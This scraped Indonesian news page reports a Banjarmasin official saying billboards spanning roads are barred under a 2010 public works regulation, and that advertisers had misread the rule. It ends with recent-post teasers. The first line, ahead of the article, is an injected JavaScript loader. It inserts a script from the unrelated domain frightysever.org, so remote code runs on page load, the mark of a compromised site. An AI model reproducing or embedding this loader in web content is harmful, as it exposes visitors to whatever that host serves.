(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Asisten II: Reklame Bando Tidak Diperbolehkan Melintang di Atas Jalan


KANALKALIMANTAN.COM, BANJARMASIN – Setelah mencapai kesepakatan dengan Asosiasi Pengusaha Periklanan Seluruh Indonesia (APPSI) Kalimantan Selatan, iklan-iklan yang ditempatkan di bando reklame sempat ditertibkan dapat kembali ditayangkan.

Namun demikian, APPSI Kalsel diminta untuk menyusun konsep baru pengganti papan reklame bando.

Kepada awak media, Selasa (9/6/2020) siang, Asisten II Bidang Ekonomi Setdako Banjarmasin Ir Doyo Pudjadi mengatakan, berdasarkan Permen PU Nomor 20 tahun 2010 pasal 8 ayat (3) menyebutkan bahwa reklame yang melintang di atas jalan sudah tidak diperbolehkan. Doyo mengklaim, APPSI Kalsel menerima penjelasan ini.

Namun demikian, Doyo menyebut bahwa APPSI Kalsel selama ini belum memahami bando reklame itu tidak diperbolehkan membentang di atas jalan. Selama ini, menurut Doyo, asumsi dari APPSI Kalsel itu boleh.

Berdasarkan Permen PU Nomor 20 tahun 2010 pasal 8 ayat (3) menyebutkan bahwa reklame yang melintang di atas jalan sudah tidak diperbolehkan. foto: fikri

“Karena ada ayat yang menyebutkan ada kata ‘lapangan’, sehingga boleh ada bando. (Asumsi mereka) lapangan itu, ya jalan,” kaya Doyo.

Baca juga: Papan Reklame Bando  Diubah Bentuk, Wali Kota Enggan Komentar

Kendati begitu, setelah mendapatkan penjelasan dari Kabag Hukum Setdako Banjarmasin bahwa ada penjelasan kata ‘lapangan’. Di mana, kata ‘lapangan’ yang dimaksud bukanlah jalan raya, tetapi lapangan terbuka.

“Jadi sekarang mereka baru memahami bahwa bando (reklame) itu tidak boleh, baru hari ini. Selama ini mereka beranggapan boleh, karena ada misinterpretasi,” lugas Doyo.

Diakui Doyo, pengusaha periklanan yang tergabung dalam APPSI Kalsel ini sudah terikat kontrak dengan kliennya. Mengingat penggunaan bando reklame sendiri memiliki tenggat waktu yang disepakati antara pengusaha periklanan dengan klien.

Sehingga, ketika bando reklame itu ‘dipotong’ di tengah jalan, akan menjadi sebuah masalah. Akibatnya, pengusaha periklanan harus membayar ganti rugi kepada klien. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Pemkab Kapuas Bahas Skema Penyelesaian Tenaga Non ASN

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More

16 menit ago

Wabup Kapuas: Hindari Pemborosan, Hentikan Budaya Dilayani

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More

19 menit ago

Banjir Balangan: 34 Desa Terdampak di 6 Kecamatan, Ratusan Rumah Rusak

KANALKALIMANTAN.COM, PARINGIN - Bencana banjir yang melanda Kabupaten Balangan sejak akhir Desember 2025 berdampak pada… Read More

2 jam ago

Pemkab Kapuas Salurkan Bantuan Korban Kebakaran Selat Tengah

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas melalui Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Kapuas… Read More

2 jam ago

Bupati HSU Melantik 41 Pejabat, Termasuk 4 Camat Baru

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani melantik 41 pejabat yang terdiri… Read More

17 jam ago

Perluas Kawasan Perkotaan Pemkab Kapuas Bangun Jalan Baru

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus memperluas kawasan perkotaan melalui pembangunan infrastruktur jalan… Read More

18 jam ago

This website uses cookies.